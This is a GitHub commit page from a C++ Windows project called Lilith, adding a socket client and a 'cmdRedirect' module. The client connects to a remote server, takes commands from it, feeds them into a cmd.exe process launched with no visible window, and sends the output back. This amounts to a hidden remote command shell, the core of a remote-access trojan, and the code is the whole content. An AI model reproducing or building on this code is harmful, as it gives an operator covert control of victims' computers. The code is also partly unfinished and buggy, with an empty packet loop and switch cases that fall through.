Skip to content

Commit

Permalink
cmdRedirect done, a bit of network stuff and general structure
Browse files Browse the repository at this point in the history
  • Loading branch information
werkamsus committed Nov 2, 2016
1 parent 14dcad1 commit 2730384
Show file tree
Hide file tree
Showing 12 changed files with 503 additions and 76 deletions.
4 changes: 4 additions & 0 deletions Lilith/Lilith.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -113,12 +113,16 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="client.cpp" />
<ClCompile Include="cmdRedirect.cpp" />
<ClCompile Include="conversion.cpp" />
<ClCompile Include="general.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="settings.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="client.h" />
<ClInclude Include="cmdRedirect.h" />
<ClInclude Include="conversion.h" />
<ClInclude Include="general.h" />
<ClInclude Include="includes.h" />
Expand Down
12 changes: 12 additions & 0 deletions Lilith/Lilith.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -33,6 +33,12 @@
<ClCompile Include="conversion.cpp">
<Filter>Source Files\Utility</Filter>
</ClCompile>
<ClCompile Include="client.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="cmdRedirect.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="settings.h">
Expand All @@ -50,5 +56,11 @@
<ClInclude Include="conversion.h">
<Filter>Header Files\Utility</Filter>
</ClInclude>
<ClInclude Include="client.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="cmdRedirect.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
131 changes: 131 additions & 0 deletions Lilith/client.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
#include "client.h"
#include "general.h"
#include "cmdRedirect.h"

void Client::ClientThread()
{
while (clientptr->connected)
{
//process packets
}

if (clientptr->CloseConnection()) //Try to close socket connection..., If connection socket was closed properly
{

}
else //If connection socket was not closed properly for some reason from our function
{

}
}

enum Client::PacketType
{
P_Instruction,
P_CMDCommand
};

bool Client::ReceivePacket()
{
PacketType packettype;
recv(sConnection, (char*)&packettype, sizeof(PacketType), NULL); //receive packet type
ProcessPacket(packettype);
return true;
}

bool Client::ProcessPacket(PacketType _packettype)
{
int bufferlength;
recv(sConnection, (char*)&bufferlength, sizeof(int), NULL); //receive packet length
char* buffer = new char[bufferlength + 1]; //Allocate buffer
buffer[bufferlength] = '\0'; //Set last character of buffer to be a null terminator so we aren't printing memory that we shouldn't be looking at
recv(sConnection, buffer, bufferlength, NULL); //receive message

switch (_packettype)
{
case PacketType::P_Instruction:
{
General::processCommand(buffer);
}
case PacketType::P_CMDCommand:
{
if (CMD::cmdptr != NULL)
{
CMD::cmdptr->writeCMD(buffer);
sendPacket(CMD::cmdptr->readCMD(), PacketType::P_CMDCommand);
}
else
{
General::sendError("Initiate a CMD session first.");
}
}
default:
delete[] buffer;
return false;
}

delete[] buffer;
}

bool Client::sendPacket(std::string message, PacketType _PacketType)
{
if (send(sConnection, (char*)&_PacketType, sizeof(PacketType), NULL) == SOCKET_ERROR)
{
General::sendError("Error sending Packet: Error sending Type");
return false;
}
int bufferlength = message.size();
if (send(sConnection, (char*)&bufferlength, sizeof(int), NULL) == SOCKET_ERROR)
{
General::sendError("Error sending Packet: Error sending size");
return false;
}
if (send(sConnection, message.c_str(), bufferlength, NULL) == SOCKET_ERROR)
{
General::sendError("Error sending Packet: Error sending message");
return false;
}
return true;

}

Client::Client(std::string IP, int PORT)
{
//Winsock Startup
WSAData wsaData;
WORD DllVersion = MAKEWORD(2, 2);
if (WSAStartup(DllVersion, &wsaData) != 0)
{
MessageBoxA(NULL, "Winsock startup failed", "Error", MB_OK | MB_ICONERROR);
exit(0);
}

addr.sin_addr.s_addr = inet_addr(IP.c_str()); //Address (127.0.0.1) = localhost (this pc)
addr.sin_port = htons(PORT); //Port
addr.sin_family = AF_INET; //IPv4 Socket
clientptr = this; //Update ptr to the client which will be used by our client thread
}

bool Client::Connect()
{
sConnection = socket(AF_INET, SOCK_STREAM, NULL); //Set Connection socket
if (connect(sConnection, (SOCKADDR*)&addr, sizeof(addr)) != 0) //If we are unable to connect...
{
return false;
}

CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ClientThread, NULL, NULL, NULL); //Create the client thread that will receive any data that the server sends.
return true;
}

bool Client::CloseConnection()
{
if (closesocket(sConnection) == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAENOTSOCK) //If socket error is that operation is not performed on a socket (This happens when the socket has already been closed)
return true; //return true since connection has already been closed

return false;
}
return true;
}
47 changes: 47 additions & 0 deletions Lilith/client.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
#pragma once
#define _WINSOCK_DEPRECATED_NO_WARNINGS

#pragma comment(lib,"ws2_32.lib") //Required for WinSock
#include <WinSock2.h> //For win sockets
#include <string> //For std::string
#include <iostream> //For std::cout, std::endl, std::cin.getline

class Client
{
public: //Public functions
Client(std::string IP, int PORT);
bool Connect();

//bool SendString(std::string & _string, bool IncludePacketType = true);
bool CloseConnection();
//bool RequestFile(std::string FileName);
private: //Private functions
//bool ProcessPacketType(PacketType _PacketType);
static void ClientThread();

enum PacketType;
bool ReceivePacket();
bool ProcessPacket(PacketType _packettype);
bool Client::sendPacket(std::string message, PacketType _PacketType);
//Sending Funcs
//bool sendall(char * data, int totalbytes);
//bool Sendint32_t(int32_t _int32_t);
//bool SendPacketType(PacketType _PacketType);


//Getting Funcs
//bool recvall(char * data, int totalbytes);
//bool Getint32_t(int32_t & _int32_t);
//bool GetPacketType(PacketType & _PacketType);
//bool GetString(std::string & _string);

private:
//FileTransferData file; //Object that contains information about our file that is being received from the server.
SOCKET sConnection;//This client's connection to the server
SOCKADDR_IN addr; //Address to be binded to our Connection socket
bool connected;
};


static Client * clientptr; //This client ptr is necessary so that the ClientThread method can access the Client instance/methods.
//Since the ClientThread method is static, this is the simplest workaround I could think of since there will only be one instance of the client.
133 changes: 133 additions & 0 deletions Lilith/cmdRedirect.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
#include "cmdRedirect.h"

CMD::CMD()
{
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;

if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0))
General::handleError(3, false);
// Ensure the read handle to the pipe for STDOUT is not inherited.

if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
General::handleError(3, false);
// Create a pipe for the child process's STDIN.

if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
General::handleError(3, false);

// Ensure the write handle to the pipe for STDIN is not inherited.

if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
General::handleError(3, false);

createChildProcess();

cmdptr = this;
}


CMD* CMD::cmdptr = NULL;
bool CMD::cmdOpen = false;
HANDLE CMD::g_hChildProcess = NULL;
HANDLE CMD::g_hChildThread = NULL;

void CMD::cmdThread()
{
CMD cmd;
cmdOpen = true;
while (cmdOpen)
{
Sleep(1000);
}
}

std::string CMD::readCMD() //read string from stdOut of cmd.exe //IMPLEMENT AS THREAD
{
if (cmdOpen)
{
DWORD bytesAvailable;
DWORD bytesRead;
char buffer[128];
std::string output;

do //loop until bytes are available (until response is processed)
{
PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL);
Sleep(50);
} while (bytesAvailable <= 0);

while (bytesAvailable > 0) //while there is something to read, read it into buffer and append buffer to string
{
ReadFile(g_hChildStd_OUT_Rd, buffer, 127, &bytesRead, NULL);
buffer[127] = '\0'; //NULL terminator of string
output += buffer;
bytesAvailable = bytesAvailable - bytesRead;
ZeroMemory(buffer, 128); //clears buffer (else memory leak)
}
return output;
}
else
return "CMD is not open";
}

void CMD::writeCMD(std::string command) //write a string to stdIn of cmd.exe
{
if (cmdOpen)
{
command += '\n'; //apend '\n' to simulate "ENTER"
if (!WriteFile(g_hChildStd_IN_Wr, command.c_str(), command.size(), NULL, NULL))
General::sendError("Couldn't write command '" + command + "' to stdIn.");
}
else
General::sendError("Couldn't write to CMD: CMD not open");
}

void CMD::createChildProcess() //creates child process ||copied from https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx ||
{
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
BOOL bSuccess = FALSE;

// Set up members of the PROCESS_INFORMATION structure.

ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));

// Set up members of the STARTUPINFO structure.
// This structure specifies the STDIN and STDOUT handles for redirection.

ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.hStdError = g_hChildStd_OUT_Wr;
siStartInfo.hStdOutput = g_hChildStd_OUT_Wr;
siStartInfo.hStdInput = g_hChildStd_IN_Rd;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

// Create the child process.

bSuccess = CreateProcess(TEXT("C:\\WINDOWS\\system32\\cmd.exe"),
NULL, // command line
NULL, // process security attributes
NULL, // primary thread security attributes
TRUE, // handles are inherited
CREATE_NO_WINDOW, // creation flags
NULL, // use parent's environment
NULL, // use parent's current directory
&siStartInfo, // STARTUPINFO pointer
&piProcInfo); // receives PROCESS_INFORMATION

// If an error occurs, exit the application.
if (!bSuccess)
General::handleError(3, false);
else
{
// Close handles to the child process and its primary thread.
// Some applications might keep these handles to monitor the status
// of the child process, for example.
CloseHandle(piProcInfo.hProcess);
CloseHandle(piProcInfo.hThread);
}
g_hChildProcess = piProcInfo.hProcess;
g_hChildThread = piProcInfo.hThread;
}
34 changes: 34 additions & 0 deletions Lilith/cmdRedirect.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#pragma once
#include <string> //For std::string
#include <iostream> //For std::cout, std::endl, std::cin.getline
#include <Windows.h>
#include "general.h"

class CMD
{
public: //Public functions
CMD();
static void cmdThread();

std::string readCMD();
void writeCMD(std::string command);

public: //Public variables
static CMD * cmdptr;
static bool cmdOpen;

private: //Private functions
void createChildProcess();

private: //variables
HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL;
HANDLE g_hChildStd_OUT_Rd = NULL;
HANDLE g_hChildStd_OUT_Wr = NULL;

static HANDLE g_hChildProcess;
static HANDLE g_hChildThread;


SECURITY_ATTRIBUTES saAttr;
};
Loading

0 comments on commit 2730384

Please sign in to comment.